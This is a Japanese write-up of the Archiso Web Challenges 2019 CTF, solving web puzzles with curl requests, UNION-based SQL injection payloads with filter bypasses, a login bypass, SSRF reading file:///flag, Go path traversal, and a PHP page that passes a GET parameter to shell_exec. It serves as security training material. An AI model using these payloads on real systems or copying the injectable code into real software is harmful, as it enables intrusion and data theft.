Archiso Web Challenges 2019 write-up

<blockquote class="twitter-tweet"><p lang="ja" dir="ltr">Archiso Web Challenges 2019ですが、全ての問題の準備が完了しました！<br>問題数は13問になります！HTMLやHTTPの基礎知識を問う問題から、さまざまな脆弱性を突く問題まで取り揃えております！<br>初心者の方から上級者の方で、是非ご参加下さい！<a href="https://t.co/W2D1tQsMuf">https://t.co/W2D1tQsMuf</a><a href="https://twitter.com/hashtag/AWebC19?src=hash&amp;ref_src=twsrc%5Etfw">#AWebC19</a></p>&mdash; Archiso@AWebC19 (@Archiso0) <a href="https://twitter.com/Archiso0/status/1210544202058088448?ref_src=twsrc%5Etfw">December 27, 2019</a></blockquote>

Web問のみのCTFらしい。全問解いて3位。

![awebc19.archiso.dev_challenges(capture (800)).png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/2a0be3d6-e0e8-e631-44a4-a7836478108c.png)

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/25276/5e4e5915-8e24-272c-3496-880d7e51bf5e.png)

## Web

### Out of Display

> ディスプレイ上にフラグはないよ!

```index.html
<body>
  <div id="main" class="container">
    <h1>Out of Display</h1>
    <p>ディスプレイ上にフラグはないよ!</p>
    <!-- WebC{0ops_y0u_c4n_find_m3_8356eb46} -->
  </div>
</body>
```

ソースコードにあった。

`WebC{0ops_y0u_c4n_find_m3_8356eb46}`

### Whited Out

> だから画面の中にフラグはないの。本当だよ？

昔懐かしの反転させると読めるやつ。こちらのほうが簡単か？

`WebC{7his_f1ag_i5_whit3d_0ut_0d856efe}`

### Rel

> link要素を用いることでスタイルシートをリンクすることができます。

CSSにフラグがある。

```style.css
/* WebC{sty1esh3et5_c4n_be_1ink3d_6y_re1_4ttribu7e_192ecb0e} */

#main {
  text-align: center;
}

.red {
  color: red;
}
```

`WebC{sty1esh3et5_c4n_be_1ink3d_6y_re1_4ttribu7e_192ecb0e}`

### Agent

「NCSA Mosaicのバージョン2.0からアクセスしてください。」と言われる。UAはここに。

https://developers.whatismybrowser.com/useragents/explore/software_name/mosaic/

```shell-session
$ curl https://awebc19.archiso.dev/problems/agent/ -A 'NCSA_Mosaic/2.0'
<!DOCTYPE html><html><head><meta charset="UTF-8"/><title>Agent</title><link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.css"/><link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/milligram/1.3.0/milligram.css"/><link rel="stylesheet" href="style.css"/></head><body><div class="container" id="main"><h1>Agent</h1><p>NCSA Mosaicのバージョン2.0からアクセスしてください。</p><p>Congrats! Flag is WebC{D0_y0u_s7ill_u5e_Wind0ws_3.1_in_thi5_c3ntury?_cc6efe69}</p></div></body></html>
```

`WebC{D0_y0u_s7ill_u5e_Wind0ws_3.1_in_thi5_c3ntury?_cc6efe69}`

### Ref

> あなたはどこから来ましたか？

サイトにいくとGoogleから来てくださいと言われる。

```shell-session
$ curl -H 'referer: https://www.google.com/' https://awebc19.archiso.dev/problems/ref/
<!DOCTYPE html><html><head><meta charset="UTF-8"/><title>Ref</title><link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/normalize/5.0.0/normalize.css"/><link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/milligram/1.3.0/milligram.css"/><link rel="stylesheet" href="style.css"/></head><body><div class="container" id="main"><h1>Ref</h1><p>Google検索(https://www.google.com/)からこのサイトにアクセスしてください。</p><a href="https://www.google.com/" target="new">Google検索</a><p>Congrats! Flag is WebC{N0w_you_acc3ssed_7his_sit3_fr0m_go0g1e_0ec9b975}</p></div></body></html>
```

`WebC{N0w_you_acc3ssed_7his_sit3_fr0m_go0g1e_0ec9b975}`

### Oluri Key

ログインページのSQL Injection。IDに`'OR 1#`を入れれば良い。

`WebC{N0w_y0u_c4n_l0gin_to_0ur_k3y_sys7em_0e789551}`

### Fruits List

`season`パラメタでそれぞれの季節のフルーツが表示される。

```index.php
    <ul id="fruitsList">
      <?php if (isset($_GET['season'])): ?>
      <?php
          $fruits = array_filter(explode("\n", shell_exec("ls {$_GET['season']}")), "strlen");
          foreach ($fruits as $fruit):
        ?>
      <li><?php echo urlencode(trim($fruit)); ?></li>
      <?php endforeach; ?>
      <?php endif; ?>
    </ul>
```

こんなことをやっている。問題文にフラグは`/`にあると書かれているので、

https://awebc19.archiso.dev/problems/fruits_list/index.php?season=/

にアクセスすれば良い。ちなみに、任意のコマンドも挿入できる。後半の問題が解けなくて、この問題からフラグが読めないかと思ったけど、別インスタンスだった。ですよね。

`WebC{Y0u_c4n_choo5e_frui7s_with_y0ur_f4vorite_season!_b5d3a864}`

### Dolls Data 1

> ドールズフロントラインの戦術人形のデータベースを作りました！
> 是非利用してみてください！

SQL Injection。エラーを起こすのは簡単だけど、`aaa' UNION ALL SELECT 1,1,1,1 #`こんなことをしてもダメ。分からないからsqlmapに頼ったらカラムが11個もあったらしい。列名を見てみると、表示されているもの以外にも、`health`とか`damage`とかがあった。

```
aaa' UNION ALL SELECT TABLE_NAME,COLUMN_NAME,1,1,1,1,1,1,1,1,1 FROM INFORMATION_SCHEMA.COLUMNS #
```

でテーブル名と列名を調べて、

```
aaa' UNION ALL SELECT kar98k,1,1,1,1,1,1,1,1,1,1 FROM dolls_data_1_flag_b3f4befc #
```

でフラグが読める。

`WebC{D0lls_front1ine_i5_v3ry_nic3_g4me!_Y0u_mu5t_p1ay_i7_n0w!_d10e093d}`

### Single Page HTML Viewer 2

> HTMLファイルの中身を見ることができるシングルページアプリケーションを改良しました！
> 今度は外部サーバのページも表示できますよ！
> 当然脆弱性はありません！当たり前です！
> ※フラグは/flagファイル内に書いてあります

Viewer 1はどこに……w

`file:///flag`は不正なアクセスだと言って弾かれる。リダイレクトかな？と思い、でも試すのは面倒だからまずは`http://google.com`とか入れてみたけど、リダイレクトしない。`flag`がダメなだけっぽいので、`file:///var/www/html/query.php`でソースコードを見てみる。`flag`のチェックはしていない。あれ……？　JavaScriptで弾いているだけだった。

```shell-session
$ curl -d "url=file:///flag" https://awebc19.archiso.de
v/problems/single_page_html_viewer_2/query.php
{"content":"WebC{Y0u_c4n_acc3ss_secur3_inform4tions_6y_usin9_s3rver_5ide_reques7_forg3ry_c9e4858a}\n","error":null}
```

`WebC{Y0u_c4n_acc3ss_secur3_inform4tions_6y_usin9_s3rver_5ide_reques7_forg3ry_c9e4858a}`

### Dolls Data 2

> さっきのシステムには脆弱性があったので、修正しました！
> 使わなきゃいけない記号があるので、それは使えるようにしています！

`,`が消されるようになった。

```
aaa' UNION SELECT * FROM (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.COLUMNS) AS a JOIN (SELECT 1) AS b JOIN (SELECT 2) AS c JOIN (SELECT 3) AS d JOIN (SELECT 4) AS e JOIN (SELECT 5) AS f JOIN (SELECT 6) AS g JOIN (SELECT 7) AS h JOIN (SELECT 8) AS i JOIN (SELECT 9) AS j JOIN (SELECT 10) AS k #
aaa' UNION SELECT * FROM (SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS) AS a JOIN (SELECT 1) AS b JOIN (SELECT 2) AS c JOIN (SELECT 3) AS d JOIN (SELECT 4) AS e JOIN (SELECT 5) AS f JOIN (SELECT 6) AS g JOIN (SELECT 7) AS h JOIN (SELECT 8) AS i JOIN (SELECT 9) AS j JOIN (SELECT 10) AS k #
```

で、テーブルと列名を調べて、

```
aaa' UNION SELECT * FROM (SELECT hkm4 FROM dolls_data_2_flag_dfe61e6c) AS a JOIN (SELECT 1) AS b JOIN (SELECT 2) AS c JOIN (SELECT 3) AS d JOIN (SELECT 4) AS e JOIN (SELECT 5) AS f JOIN (SELECT 6) AS g JOIN (SELECT 7) AS h JOIN (SELECT 8) AS i JOIN (SELECT 9) AS j JOIN (SELECT 10) AS k #
```

`WebC{404_s9uad_c0nsi5ts_0f_UMP45_UMP9_GrG11_4nd_416_702e53df}`

### Go Mikuji

Goのウェブアプリ。

```main.go
 :
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		name := filepath.FromSlash(filepath.Join(cwd, "public", path.Base(r.URL.Path)))
		path := strings.Replace(name, "\\", "/", -1)
		f, err := os.Open(path)
 :
```

こんなことをやっている。`/../`だと（たぶん）Goアプリに渡る前に処理されてしまうが、`/..\`だと通る。ブラウザからではブラウザが勝手に`/`に直してしまうので、curlを使った。

```shell-session
$ curl 'https://awebc19.archiso.dev/problems/go_mikuji/..\flag.txt'
WebC{pa7h_p4ckage_hand1e_fil3_p4th_4s_l0gical_p4th_9bfe7b26}
```

`WebC{pa7h_p4ckage_hand1e_fil3_p4th_4s_l0gical_p4th_9bfe7b26}`

### Dolls Data 3

> さっきのシステムには実装ミスがあったので、さらに修正しました！
> 今度こそ完璧です！

スペースも消える。

```
aaa'/**/UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/TABLE_NAME/**/FROM/**/INFORMATION_SCHEMA.COLUMNS)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/2)/**/AS/**/c/**/JOIN/**/(SELECT/**/3)/**/AS/**/d/**/JOIN/**/(SELECT/**/4)/**/AS/**/e/**/JOIN/**/(SELECT/**/5)/**/AS/**/f/**/JOIN/**/(SELECT/**/6)/**/AS/**/g/**/JOIN/**/(SELECT/**/7)/**/AS/**/h/**/JOIN/**/(SELECT/**/8)/**/AS/**/i/**/JOIN/**/(SELECT/**/9)/**/AS/**/j/**/JOIN/**/(SELECT/**/10)/**/AS/**/k/**/#
aaa'/**/UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/COLUMN_NAME/**/FROM/**/INFORMATION_SCHEMA.COLUMNS)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/2)/**/AS/**/c/**/JOIN/**/(SELECT/**/3)/**/AS/**/d/**/JOIN/**/(SELECT/**/4)/**/AS/**/e/**/JOIN/**/(SELECT/**/5)/**/AS/**/f/**/JOIN/**/(SELECT/**/6)/**/AS/**/g/**/JOIN/**/(SELECT/**/7)/**/AS/**/h/**/JOIN/**/(SELECT/**/8)/**/AS/**/i/**/JOIN/**/(SELECT/**/9)/**/AS/**/j/**/JOIN/**/(SELECT/**/10)/**/AS/**/k/**/#
aaa'/**/UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/m4a1/**/FROM/**/dolls_data_3_flag_979c7e90)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/2)/**/AS/**/c/**/JOIN/**/(SELECT/**/3)/**/AS/**/d/**/JOIN/**/(SELECT/**/4)/**/AS/**/e/**/JOIN/**/(SELECT/**/5)/**/AS/**/f/**/JOIN/**/(SELECT/**/6)/**/AS/**/g/**/JOIN/**/(SELECT/**/7)/**/AS/**/h/**/JOIN/**/(SELECT/**/8)/**/AS/**/i/**/JOIN/**/(SELECT/**/9)/**/AS/**/j/**/JOIN/**/(SELECT/**/10)/**/AS/**/k/**/#
```

`WebC{Con9ratu1ati0ns!_Y0u_ar3_7he_tru1y_m4ster_0f_SQL_inj3ction!_7a5c9318}`